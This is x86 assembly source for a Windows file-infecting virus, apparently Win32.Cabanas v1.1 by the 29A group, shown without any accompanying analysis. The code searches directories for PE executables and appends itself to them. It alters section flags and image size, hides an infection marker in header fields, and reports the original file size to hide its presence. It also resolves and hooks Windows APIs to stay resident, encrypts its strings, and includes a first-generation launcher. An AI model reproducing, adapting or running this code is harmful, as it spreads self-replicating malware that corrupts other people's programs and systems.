cdq ;edx=0
xchg ecx , eax
div ecx ;calculate new size of last section
mul ecx
xchg eax , edi
mov ecx ,[ esi .NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew ]
sub eax , v_end - virtual_end
cmp [ ebx .SH_VirtualSize - x ], eax ;calculate new virtual size of last section
jnc n_vir
mov [ ebx .SH_VirtualSize - x ], eax
n_vir: dec eax
mov [ ebx .SH_SizeOfRawData - x ], edi ;update size of last section
add eax , ecx
div ecx
mul ecx
pop ebp ;get original file size
add eax ,[ ebx .SH_VirtualAddress - x ]
cmp [ esi .NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew ], eax ;update size of image field in the PE header
jnc n_img
mov [ esi .NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew ], eax
n_img: add edi ,[ ebx .SH_PointerToRawData - x ]
sub ecx , ecx
or byte ptr [ ebx .SH_Characteristics.hiw.hib - x ], 0C0h ;change section flagz
push ebp
mov eax ,[ esi .NT_OptionalHeader.OH_CheckSum - MZ_lfanew ] ;calculate special checksum to mark infected filez
xor ebp , eax
add al , - 2Dh
xor ebp , 0B2FD26A3h xor 0D4000000h
not al
xor al , ah
shl ebp , 6
xor al , byte ptr [ esi .NT_OptionalHeader.OH_CheckSum.hiw - MZ_lfanew ]
shr al , 2
shld eax , ebp , 3 * 8 + 2
mov [ esi .NT_FileHeader.FH_TimeDateStamp - MZ_lfanew ], eax ;store checksum value
pop eax ;get original file size
mov cl , 65h
cmp eax , edi ;calculate new file size..
.if carry?
xchg edi , eax
.endif
sub eax , 1 - 65h
div ecx
mul ecx ;use size paddin..
push eax
end_Attach:
popad
needed_ret:
ret
Attach endp
Process_Dir: ;this function receives a pointer to an asciiz string
; containin a path, then it searches filez with an extension
; matchin the list of extensionz, and finaly infects them.
;on entry:
; EDI = pointer to pathname
; EAX = size of pathname
dec eax
cmp eax , 7Fh
jnc needed_ret ;if pathname greater than 7Fh characterz, jump
pushad
mov esi , edi
adc edi , eax
cld
mov al , '\' ;add ' \ ' to the pathname if not included
cmp [ edi - 1 ], al
jz Find_Filez
stosb
Find_Filez: ;find filez in the specified pathname..
push edi
sub eax , '\' - ' * . * '
stosd
call findfirst ;find each file "*.*" in the path
pop edi
jz end_Attach ;if error, jump
dec eax
push eax ;save search handle
Process_File: ;a file was found, process it
push edi
lea esi ,[ ebx .WFD_szFileName ] ;get filename
call Process_File3 ;process file, infect it
Find_Next:
pop edi
pop eax
push eax
push ebx
push eax
call [ ebp + ddFindNextFileA - ebp _num ] ;find next file
test eax , eax ;more filez?
jnz Process_File ;yea, process it, jump
Find_Close:
call [ ebp + ddFindClose - ebp _num ] ;close search
end_Find:
end_Process_Dir:
popad
ret
APICall@n_2: mov cl , 2 ;call an API and pass two parameterz
APICall@n proc ;this function calls an API and passes "n" parameterz
; as argumentz
;on entry:
; EAX = API function adress
; ECX = number of paremeterz
pushfd
movzx edx , cl
mov ecx , edx
push_args: push dword ptr [ esp . ( 2 * Pshd ) + 4 * edx ] ;push parameter
loop push_args
call eax ;call API
popfd
ret
APICall@n endp
IGetProcAddressIT:
pop edx
push eax
lea eax ,[ ebp + vszKernel32 - ebp _num ]
push eax
push edx
GetProcAddressIT proc ;gets a pointer to an API function from the Import Table
; (the object inspected is in raw form, i.e. memory-maped)
;on entry:
; TOS+08h (Arg2): API function name
; TOS+04h (Arg1): module name
; TOS+00h (return adress)
;on exit:
; EAX = RVA pointer to IAT entry
; EAX = 0, if not found
pushad
lea esi ,[ ecx .MZ_lfanew ]
mov ebp , ecx ;get KERNEL32 module handle
add esi ,[ esi ] ;get address of PE header + MZ_lfanew
mov ecx ,[ esi .NT_OptionalHeader \ ;get size of import directory
.OH_DirectoryEntries \
.DE_Import \
.DD_Size \
- MZ_lfanew ]
jecxz End_GetProcAddressIT2 ;if size is zero, no API imported!
mov eax ,[ esi .NT_OptionalHeader \ ;get address of Import directory
.OH_DirectoryEntries \
.DE_Import \
.DD_VirtualAddress \
- MZ_lfanew ]
call Rva2Raw ;find size and raw start of import section
jecxz End_GetProcAddressIT
push esi
mov eax ,[ esp . ( Pshd ) .Pushad_ebp ]
mov [ eax + ImportHdr - ebp _num ], ecx ;save raw adress of import section header for l8r use
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
Get_DLL_Name: ;scan each import descriptor inside import section to match module name specified
pop esi ;diference (if any) between start of import table and start of import section
mov ecx ,[ ebx .esi.ID_Name ] ;get RVA pointer to imported module name
End_GetProcAddressIT2:
jecxz End_GetProcAddressIT ;end of import descriptorz?
sub ecx , edx ;convert RVA pointer to RAW
cmp ecx , ebp ;check if it points inside section
jae End_GetProcAddressIT
sub esi , - x
push esi ;save next import descriptor for later retrieval
lea esi ,[ ebx + ecx ]
mov edi ,[ esp . ( Pshd ) .cPushad.Arg1 ] ;get module name specified from Arg1
Next_char_from_DLL: ;do a char by char comparison with module name found inside seccion
;stop when a NULL or a dot '.' is found
lodsb
add al , - '.'
jz IT_nup ;its a dot
sub al , - '.' + 'a'
cmp al , 'z' - 'a' + 1
jae no_up
add al , - 20h ;convert to upercase
no_up: sub al , - 'a'
IT_nup: scasb
jnz Get_DLL_Name ;namez dont match, get next import descriptor
cmp byte ptr [ edi - 1 ], 0
jnz Next_char_from_DLL
Found_DLL_name: ;we got the import descriptor containin specified module name
pop esi
lea eax ,[ edx + esi .ID_ForwarderChain - x ]
add esi , ebx
mov [ esp .Pushad_edx ], eax ;store pointer to ForwarderChain field for later use
mov [ esp .Pushad_esi ], esi ;store pointer to import descriptor for later use
push dword ptr [ esp .cPushad.Arg2 ]
mov eax ,[ esp . ( Pshd ) .Pushad_ebp ]
push dword ptr [ eax + K32Mod - ebp _num ]
call GetProcAddressET ;scan export table of specified module handle
xchg eax , ecx ;and get function adress of specified API
mov ecx ,[ esi .ID_FirstThunk - x ] ;This is needed just in case the API function adressez are bound in the IAT
jecxz End_GetProcAddressIT ;if not found then go, this value cant be zero or the IAT wont be patched
push eax
call GetProcAddrIAT ;inspect first thunk (which later will be patched by the loader)
test eax , eax
jnz IAT_found ;if found then jump (save it and go)
mov ecx ,[ esi .ID_OriginalFirstThunk - x ] ;get original thunk (which later will hold the original unpatched IAT)
jecxz End_GetProcAddressIT ;if not found then go, this value could be zero
push eax
call GetProcAddrIAT ;inspect original thunk
test eax , eax
jz IAT_found ;jump if not found
sub eax , ecx ;we got the pointer
add eax ,[ esi .ID_FirstThunk - x ] ;convert it to RVA
db 6Bh , 33h , 0C0h ;imul esi,[ebx],-0C0h ;i like bizarre thingz =8P
org $ - 2
End_GetProcAddressIT:
db 33h , 0C0h ;xor eax,eax ;error, adress not found
IAT_found:
mov [ esp .Pushad_eax ], eax ;save IAT entry pointer
popad
ret ( 2 * Pshd ) ;jump and unwind parameterz in stack
findfirst: ;this function is just a wraper to the FindFistFileA API..
lea ebx ,[ ebp + FindData - ebp _num ]
push ebx ;args for findfirst
push esi ;args for findfirst
call [ ebp + ddFindFirstFileA - ebp _num ] ;call FindFirstFileA API
end_findfirst:
inc eax
cld
ret
get_size: ;this function retrieves the file size and discards
; huge filez, it also sets some parameterz for l8r use
;on entry:
; EBX = pointer to WIN32_FIND_DATA structure
;on exit:
; EAX = file size
; ESI = pointer to filename
; Carry clear: file ok
; Carry set: file too large
xor ecx , ecx
test byte ptr [ ebx .WFD_dwFileAttributes ], FILE_ATTRIBUTE_DIRECTORY
jnz get_size_ret ;discard directory entriez
mov edx , ecx
cmp [ ebx .WFD_nFileSizeHigh ], edx ;discard huge filez, well if any thaat big (>4GB)
mov cl , 65h ;load size padin value
lea esi ,[ ebp + PathName - ebp _num ] ;get pointer to filename
mov eax ,[ ebx .WFD_nFileSizeLow ] ;get file size
get_size_ret:
ret
GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords"
; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for
; the selected API name. This function works for both
; bound and unbound import descriptorz. This function is
; called from inside GetProcAddressIT.
;on entry:
; EBX = RAW start pointer of import section
; ECX = RVA pointer to IMAGE_THUNK_ARRAY
; EDX = RVA start pointer of import section
; EDI = pointer selected API function name.
; EBP = RAW size of import section
; TOS+04h (Arg1): real address of API function inside selected
; module (in case the descriptor is unbound).
; TOS+00h (return adress)
;on exit:
; EAX = RVA pointer to IAT entry
; EAX = 0, if not found
push ecx
push esi
sub ecx , edx
xor eax , eax
cmp ecx , ebp
jae IT_not_found
lea esi ,[ ebx + ecx ] ;get RAW pointer to IMAGE_THUNK_DATA array
next_thunk_dword:
lodsd ;get dword value
test eax , eax ;end of IMAGE_THUNK_DATA array?
jz IT_not_found
no_ordinal:
sub eax , edx ;convert dword to a RAW pointer
cmp eax , ebp ;dword belongs to an unbound image descriptor?
jb IT_search ;no, jump
add eax , edx ;yea, we have the API adress itself, reconvert to RVA
cmp eax ,[ esp . ( 2 * Pshd ) .Arg1 ] ;API adressez match?
jmp IT_found? ;yea, we found it, jump
IT_search:
push esi ;image descriptor contains imports by name
lea esi ,[ ebx + eax .IBN_Name ] ;get API name from import descriptor
mov edi ,[ esp . ( 5 * Pshd ) .cPushad.Arg2 ] ;get API name selected as a parameter
IT_next_char: ;find requested API from all imported API namez..
cmpsb ;do APIz match?
jnz IT_new_search ;no, continue searchin
IT_Matched_char:
cmp byte ptr [ esi - 1 ], 0
jnz IT_next_char
IT_new_search:
pop esi ;yea, they match, we found it
IT_found?:
jnz next_thunk_dword
lea eax ,[ edx + esi - 4 ] ;get the pointer to the new IAT entry
sub eax , ebx ;convert it to RVA
IT_not_found:
pop esi
pop ecx
ret ( Pshd )
GetProcAddressIT ENDP
check_PE_file: ;this function opens, memory-maps a file and checks
; if its a PE file
;on entry:
; EBX = pointer to WIN32_FIND_DATA structure
; ESI = pointer to filename
;on exit:
; ESI = 0, file already infected or not infectable
; ESI != 0, file not infected
call Open & MapFile ;open and memory-map the file
jecxz end_PE_file
mov eax ,[ ebx .WFD_nFileSizeLow ] ;get file size
add eax , - 80h
jnc Cl ose_File ;file too short?
Check_PE_sign: ;this function checks validity of a PE file.
;on entry:
; ECX = base address of memory-maped file
; EBX = pointer to WIN32_FIND_DATA structure
; EAX = host file size - 80h
;on exit:
; ESI = 0, file already infected or not infectable
; ESI != 0, file not infected
cmp word ptr [ ecx ], IMAGE_DOS_SIGNATURE ;needs MZ signature
jnz Cl ose_File
mov edi ,[ ecx .MZ_lfanew ] ;get ptr to new exe format
cmp eax , edi ;ptr out of range?
jb Cl ose_File
add edi , ecx
cmp dword ptr [ edi ], IMAGE_NT_SIGNATURE ;check PE signature
jnz Cl ose_File
cmp word ptr [ edi .NT_FileHeader.FH_Machine ], \ ;must be 386+ machine
IMAGE_FILE_MACHINE_I386
jnz Cl ose_File
mov eax , dword ptr [ edi .NT_FileHeader.FH_Characteristics ]
not al
test ax , IMAGE_FILE_EXECUTABLE_IMAGE or \ ;must have the executable bit but cant be a DLL
IMAGE_FILE_DLL
jnz Cl ose_File
;at this point, calculate virus checksum to make sure file is really
;infected. If its infected then return original size of host previous
;to infection and store it in the WIN32_FIND_DATA structure (stealth).
mov eax ,[ edi .NT_OptionalHeader.OH_CheckSum ] ;get checksum field
push eax
sub al , 2Dh ;calculate virus checksum to make sure file is really infected
xor ah , al
mov al ,[ edi .NT_FileHeader.FH_TimeDateStamp.hiw.hib ]
xor ah , byte ptr [ edi .NT_OptionalHeader.OH_CheckSum.hiw ]
and al , 11111100b
xor ah , al
mov [ ebp + uni_or_ansi - ebp _num ], ah
inc ah
pop eax
jnz go_esi
xor eax , 0B2FD26A3h xor 68000000h
xor eax ,[ edi .NT_FileHeader.FH_TimeDateStamp ]
and eax , 03FFFFFFh
cmp eax ,[ ebx .WFD_nFileSizeLow ]
jnc go_esi
mov [ ebx .WFD_nFileSizeLow ], eax ;return original file size
go_esi: inc esi ;set "already infected" mark
Close_File:
call Cl ose & UnmapFile ;close and unmaps file
end_PE_file:
dec esi
ret
pop_ebp: ;get the ebp_num value needed to access variablez thru EBP
pop ebp
if ( ebp _num - m_ebp )
lea ebp ,[ ebp + ebp _num - m_ebp ]
endif
mov [ ebp + uni_or_ansi - ebp _num ], al
cld
another_ret:
ret
Process_File2: ;this function checks the file size, retrieves some key API
; adressez from inside the import table and infects the file.
;on entry:
; EBX = pointer to WIN32_FIND_DATA structure
; ESI = pointer to filename
call get_size
jnz another_ret ;if file size too short, jump
cmp eax , 4000000h - 10 * 1024
jnc another_ret ;if file size too large (>64MB), jump
div ecx ;check infection thru size paddin
dec edx
js another_ret ;already infected, jump
call ch eck_PE_file ;open file, check PE signature and close file
jnz another_ret ;not valid PE file, jump
inc byte ptr [ ebp + uni_or_ansi - ebp _num ] ;double-check file
jz another_ret ;discard if infected
Bless: ;this function prepares the host file for infection: blank file
; atributez, open and map file in r/w mode, retrieves RVA pointerz
; to GetModuleHandleA, GetModuleHandleW and GetProcAddress, call
; the "Attach" function to infect the file and finaly restore
; date/time stamp and attributez
push esi
lea esi ,[ ebp + PathName - ebp _num ] ;get pointer to filename
push esi
call [ ebp + ddSetFileAttributesA - ebp _num ] ;blank file atributez
xchg ecx , eax
jecxz another_ret ;if error, jump, if disk is write-protected for example
push esi
mov edi , virtual_end - code_start ;calculate buffer size needed for infection
add edi ,[ ebx .WFD_nFileSizeLow ] ;add to original size
call Open & MapFileAdj ;open and map file in read/write mode
jecxz end_Bless2 ;if any error, if file is locked for example, jump
lea eax ,[ ebp + vszGetModuleHandleA - ebp _num ]
call IGetProcAddressIT ;get RVA pointer to GetModuleHandleA API in the import table
test esi , esi
jz end_Bless3 ;if KERNEL32 import descriptor not found, dont infect
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
mov [ ebp + ptrForwarderChain - ebp _num ], edx ;store RVA pointer to ForwarderChain field from KERNEL32 import descriptor
mov edx ,[ esi .ID_ForwarderChain - x ]
mov [ ebp + ddGetModuleHandleA - ebp _num ], eax ;store RVA pointer to GetModuleHandleA API
mov [ ebp + ddForwarderChain - ebp _num ], edx ;store actual ForwarderChain field value from KERNEL32 import descriptor
cdq ;edx=0
dec eax ;if RVA pointer to GetModuleHandleA found, jump and store null for GetModulehandleW RVA pointer (not needed)
jns StoreHandleW
lea eax ,[ ebp + vszGetModuleHandleW - ebp _num ]
call IGetProcAddressIT ;get RVA pointer to GetProcAddress API in the import table
xchg eax , edx
test edx , edx ;if found, jump and store GetModuleHandleW RVA pointer
jnz StoreHandleW
cmp [ esi .ID_TimeDateStamp - x ], edx ;shit, not found, now check if KERNEL32 API adressez are binded
jz StoreHandleW
cmp edx ,[ esi .ID_OriginalFirstThunk - x ]
jz end_Bless3
mov [ esi .ID_TimeDateStamp - x ], edx
StoreHandleW:
mov [ ebp + ddGetModuleHandleW - ebp _num ], edx ;store RVA pointer to GetModuleHandleW API
lea eax ,[ ebp + vszGetProcAddress - ebp _num ]
call IGetProcAddressIT ;get RVA pointer to GetModuleHandleA API in the import table
mov [ ebp + ddGetProcAddress - ebp _num ], eax ;store RVA pointer to GetModuleHandleW API if found, store zero if not found anywayz
call Attach ;infect file
;at this point:
; ECX = host base adress, start of memory-maped file
; EDI = original file size
end_Bless3:
call Cl ose & UnmapFileAdj ;close, unmap file and restore other setingz if necesary
end_Bless2:
pop esi ;get pointer to filename
mov ecx ,[ ebx .WFD_dwFileAttributes ] ;get original file atributez
jecxz end_Bless1
push ecx
push esi
call [ ebp + ddSetFileAttributesA - ebp _num ] ;restore original file atributez
end_Bless1:
end_Process_File2:
ret
GetProcAddressET proc ;This function is similar to GetProcAddressIT except
; that it looks for API functions in the export table
; of a given DLL module. It has the same functionality
; as the original GetProcAddress API exported from
; KERNEL32 except that it is able to find API
; functions exported by ordinal from KERNEL32.
;on entry:
; TOS+08h (Arg2): pszAPIname (pointer to API name)
; TOS+04h (Arg1): module handle/base address of module
; TOS+00h (return adress)
;on exit:
; ECX = API function address
; ECX = 0, if not found
pushad
@ SEH_SetupFrame < jmp Proc_Address_not_found >
mov eax ,[ esp . ( 2 * Pshd ) .cPushad.Arg1 ] ;get Module Handle from Arg1
mov ebx , eax
add eax ,[ eax .MZ_lfanew ] ;get address of PE header
mov ecx ,[ eax .NT_OptionalHeader \ ;get size of Export directory
.OH_DirectoryEntries \
.DE_Export \
.DD_Size ]
jecxz Proc_Address_not_found ;size is zero, no API exported
mov ebp , ebx ;get address of Export directory
add ebp ,[ eax .NT_OptionalHeader \
.OH_DirectoryEntries \
.DE_Export \
.DD_VirtualAddress ]
ifdef Ordinal
mov eax ,[ esp . ( 2 * Pshd ) .cPushad.Arg2 ] ;get address of requested API from Arg2
test eax , - 10000h ;check if Arg2 is an ordinal
jz Its_API_ordinal
endif
Its_API_name:
push ecx
mov edx , ebx ;get address of exported API namez
add edx ,[ ebp .ED_AddressOfNames ]
mov ecx ,[ ebp .ED_NumberOfNames ] ;get number of exported API namez
xor eax , eax
cld
Search_for_API_name:
mov esi , ebx ;get address of next exported API name
add esi ,[ edx + eax * 4 ]
mov edi ,[ esp . ( 3 * Pshd ) .cPushad.Arg2 ] ;get address of requested API name from Arg2
Next_Char_in_API_name:
cmpsb ;find requested API from all exported API namez
jz Matched_char_in_API_name
inc eax
loop Search_for_API_name
pop eax
Proc_Address_not_found:
xor eax , eax ;API not found
jmp End_GetProcAddressET
ifdef Ordinal
Its_API_ordinal:
sub eax ,[ ebp .ED_BaseOrdinal ] ;normalize Ordinal, i.e. convert it to an index
jmp Ch eck_Index
endif
Matched_char_in_API_name:
cmp byte ptr [ esi - 1 ], 0 ;end of API name reached ?
jnz Next_Char_in_API_name
pop ecx
mov edx , ebx ;get address of exported API ordinalz
add edx ,[ ebp .ED_AddressOfOrdinals ]
movzx eax , word ptr [ edx + eax * 2 ] ;get index into exported API functionz
Check_Index:
cmp eax ,[ ebp .ED_NumberOfFunctions ] ;check for out of range index
jae Proc_Address_not_found
mov edx , ebx ;get address of exported API functionz
add edx ,[ ebp .ED_AddressOfFunctions ]
add ebx ,[ edx + eax * 4 ] ;get address of requested API function
mov eax , ebx
sub ebx , ebp ;take care of forwarded API functionz
cmp ebx , ecx
jb Proc_Address_not_found
End_GetProcAddressET:
mov [ esp . ( 2 * Pshd ) .Pushad_ecx ], eax ;set requested Proc Address, if found
@ SEH_RemoveFrame
popad
jmp Ret2Pshd
GetProcAddressET endp
goto_GetProcAddressET:
jmp GetProcAddressET
MyGetProcAddressK32: ;this function is simply a wraper to the GetProcAddress
; API. It retrieves the address of an API function
; exported from KERNEL32.
;on entry:
; EBX = KERNEL32 module handle
; ESI = pszAPIname (pointer to API name)
;on exit:
; ECX = API function address
; ECX = 0, if not found
pop eax
push esi
push ebx
push eax
MyGetProcAddress proc ;this function retrieves API adressez from KERNEL32
mov ecx , ? ;this dynamic variable will hold an RVA pointer to the GetProcAddress API in the IAT
dd GetProcAddress = dword ptr $ - 4
jecxz goto_GetProcAddressET
push esi
push ebx
add ecx ,[ ebp + phost_hdr - ebp _num ]
call [ ecx ] ;call the original GetProcAddress API
xchg ecx , eax
jecxz goto_GetProcAddressET ;if error, call my own GetProcAddress function
Ret2Pshd:
ret ( 2 * Pshd )
MyGetProcAddress endp
MyGetModuleHandleW: ;this function retrieves the base address/module handle
; of KERNEL32 module previosly loaded to memory asumin
; the GetModuleHandleW API was found in the import
; table of the host
mov ecx , ? ;this dynamic variable will hold an RVA pointer to the GetModuleHandleW API in the IAT
dd GetModuleHandleW = dword ptr $ - 4
jmp MyGetModuleHandle
MyGetModuleHandleA: ;this function retrieves the base address/module handle
; of KERNEL32 module previosly loaded to memory asumin
; the GetModuleHandleA API was found in the import
; table of the host
mov ecx , ? ;this dynamic variable will hold an RVA pointer to the GetModuleHandleA API in the IAT
dd GetModuleHandleA = dword ptr $ - 4
MyGetModuleHandle proc ;this function retrieves the base adress of KERNEL32
;on entry:
; ECX = RVA pointer to GetModuleHandle(A/W) in the IAT
; TOS+04h (Arg1): pointer to KERNEL32 module name
; TOS+00h (return adress)
;on exit:
; Zero flag set = Base adress not found
; Zero flag clear = Base adress found
; EAX = KERNEL32 base adress
sub eax , eax ;set zero flag
pop ebx ;get return adress
pop eax ;Arg1
push ebx ;push return adress
mov ebx ,[ ebp + phost_hdr - ebp _num ] ;get actual host base adress
jecxz end_MyGetModuleHandle ;if not valid GetModuleHandle(A/W) RVA, jump
push eax
call [ ebx + ecx ] ;call GetModuleHandle(A/W) API
chk_0: inc eax
jz end_MyGetModuleHandle ;if any error, not found, jump
dec eax
end_MyGetModuleHandle:
ret
MyGetModuleHandleX: ;this function retrieves the KERNEL32 base adress
; via an undocumented method. This function procedure
; doesnt work in Winblowz NT
mov eax ,[ ebx + 12345678h ]
ptrForwarderChain = dword ptr $ - 4
cmp eax , 12345678h
dd ForwarderChain = dword ptr $ - 4
jnz ch k_0
ret
MyGetModuleHandle endp
get_ebp2: mov al , 0
jnc get_ebp ;clear carry (unicode version)
dec eax ;clear set (ansi version)
get_ebp: call pop_ebp
m_ebp:
v_end: ;virus code ends here
;uninitialized data ;these variablez will be adressed in memory, but dont waste space in the file
Import Hdr dd ? ;import table RVA of current host
pCodeTable dd ? ;pointer to encrypted chunkz of code ;these 2 variables may overlap.
org $ - 4 ;one is used at instalation stage,
pHandlez dd ? ;pointer to top of Handlez table ;the other one used when resident.
phost_hdr dd ? ;pointer to actual base adress of host
pcode_start dd ? ;pointer to start of virus code/data in memory
K32Mod dd ? ;KERNEL32 base adress
dd GetProcAddress2 dd ? ;adress where GetProcAddress API will be stored ;these 2 variables may overlap.
org $ - 4 ;one is used at instalation stage,
pPathNamez dd ? ;pointer to top of PathNamez table ;the other one used when resident.
pNewAPIs dd ? ;pointer to new API entry in the jump table
uni_or_ansi db ? ;needed to diferentiate unicode from ansi stringz
FunctionAdressez: ;this dwordz will hold the API function adressez used by the virus
dd CreateFileA dd ?
dd CreateFileW dd ?
dd FindClose dd ?
dd FindFirstFileA dd ?
dd FindFirstFileW dd ?
dd FindNextFileA dd ?
dd FindNextFileW dd ?
dd SetFileAttributesA dd ?
dd SetFileAttributesW dd ?
dd Cl oseHandle dd ?
dd CreateFileMappingA dd ?
dd MapViewOfFile dd ?
dd UnmapViewOfFile dd ?
dd SetFilePointer dd ?
dd SetEndOfFile dd ?
dd SetFileTime dd ?
dd GetWindowsDirectoryA dd ?
dd GetSystemDirectoryA dd ?
dd GetCurrentProcess dd ?
dd GetModuleFileName dd ?
dd WriteProcessMemory dd ?
dd WideCharToMultiByte dd ?
dd VirtualAlloc dd ?
v_stringz: ;the API namez used by the virus are decrypted here
vszKernel32 db 'KERNEL32' , 0
vszGetModuleHandleA db 'GetModuleHandleA' , 0
vszGetModuleHandleW db 'GetModuleHandleW' , 0
Exts db 'fxEtcR' ;list of extensionz to infect
db 0
FunctionNamez2: ;resident API namez, needed for dynamically API hookin
vszGetProcAddress db 'GetProcAddress' , 0
vszGetFileAttributesA db 'GetFileAttributesA' , 0
vszGetFileAttributesW db 'GetFileAttributesW' , 0
vszMoveFileExA db 'MoveFileExA' , 0
vszMoveFileExW db 'MoveFileExW' , 0
vsz_lopen db '_lopen' , 0
vszCopyFileA db 'CopyFileA' , 0
vszCopyFileW db 'CopyFileW' , 0
vszOpenFile db 'OpenFile' , 0
vszMoveFileA db 'MoveFileA' , 0
vszMoveFileW db 'MoveFileW' , 0
vszCreateProcessA db 'CreateProcessA' , 0
vszCreateProcessW db 'CreateProcessW' , 0
FunctionNamez:
vszCreateFileA db 'CreateFileA' , 0
vszCreateFileW db 'CreateFileW' , 0
vszFindClose db 'FindClose' , 0
vszFindFirstFileA db 'FindFirstFileA' , 0
vszFindFirstFileW db 'FindFirstFileW' , 0
vszFindNextFileA db 'FindNextFileA' , 0
vszFindNextFileW db 'FindNextFileW' , 0
vszSetFileAttributesA db 'SetFileAttributesA' , 0
vszSetFileAttributesW db 'SetFileAttributesW' , 0
non_res: ;non-resident API namez
vszCloseHandle db 'CloseHandle' , 0
vszCreateFileMappingA db 'CreateFileMappingA' , 0
vszMapViewOfFile db 'MapViewOfFile' , 0
vszUnmapViewOfFile db 'UnmapViewOfFile' , 0
vszSetFilePointer db 'SetFilePointer' , 0
vszSetEndOfFile db 'SetEndOfFile' , 0
vszSetFileTime db 'SetFileTime' , 0
vszGetWindowsDirectory db 'GetWindowsDirectoryA' , 0
vszGetSystemDirectory db 'GetSystemDirectoryA' , 0
vszGetCurrentProcess db 'GetCurrentProcess' , 0
vszGetModuleFileName db 'GetModuleFileNameA' , 0
vszWriteProcessMemory db 'WriteProcessMemory' , 0
vszWideCharToMultiByte db 'WideCharToMultiByte' , 0
vszVirtualAlloc db 'VirtualAlloc' , 0
EndOfFunctionNamez db 0
szCopyright db "(c) Win32.Cabanas v1.1 by jqwerty/29A." , 0
org ( non_res + 1 )
v_end2:
NewAPItable db nAPIS dup ( ? )
FindData WIN32_FIND_DATA ? ;this structure will hold data retrieved trhu FindFirst/Next APIz
PathName db MAX_PATH dup ( ? ) ;filenamez will be stored here for infection
virtual_end: ;end of virus virtual memory space (in PE filez)
Handlez db nHANDLEZ dup ( ? ) ;Handlez table
PathNamez db nPATHNAMEZ dup ( ? ) ;PathNamez table
virtual_end2: ;end of virus virtual memory space (in flat memory)
first_generation: ;this routine will be called only once from the first generation sample,
;it initializes some variables needed by the virus in the first run.
jumps
push NULL
call GetModuleHandleA
test eax , eax
jz exit
xchg ecx , eax
call ref
ref: pop ebx
mov eax , ebx
sub eax , ref - host
sub eax , ecx
sub eax ,[ add_1st_val ]
mov [ ebx + code_table - ref ], eax
mov al , 6Ah
ror al , 1
xor al ,[ xor_2nd_val ]
mov [ ebx + code_table + 6 - ref ], al
mov eax , ebx
sub eax , ref - code_table
sub eax , ecx
neg eax
mov [ ebx + delta_host - ref ], eax
mov [ ebx + old_base - ref ], ecx
mov eax ,[ ebx + pfnGMH - ref ]
.if word ptr [ eax ] = = 25FFh ;jmp [xxxxxxxx]
mov eax ,[ eax + 2 ]
.endif
sub eax , ecx
mov [ ebx + ddGetModuleHandleA - ref ], eax ;set GetModuleHandleA RVA pointer
mov eax ,[ ebx + pfnGPA - ref ]
.if word ptr [ eax ] = = 25FFh ;jmp [xxxxxxxx]
mov eax ,[ eax + 2 ]
.endif
sub eax , ecx
mov [ ebx + ddGetProcAddress - ref ], eax ;set GetProcAddress RVA pointer
cld ;encrypt API stringz
mov ecx , ve_string_size
lea esi ,[ ebx + ve_stringz - ref ]
mov edi , esi
encrypt_stringz:
lodsb
cmp al , 80h
lahf
xor al , 0B5h
ror al , cl
stosb
sahf
.if zero?
movsb
.endif
dec ecx
cmp ecx , 10
jnz encrypt_stringz
mov ecx , v_end2 - v_stringz
lea edi ,[ ebx + v_stringz - ref ]
mov al , - 1
rep stosb
jmp v_start
pfnGMH dd offset GetModuleHandleA
pfnGPA dd offset GetProcAddress
;Host code starts here
extrn MessageBoxA : proc
extrn ExitProcess : proc
host: push MB_OK ;display message box
@ pushsz "(c) Win32.Cabanas v1.1 by jqwerty/29A"
@ pushsz "First generation sample"
push NULL
call MessageBoxA
exit: push 0 ;exit host
call ExitProcess
end first_generation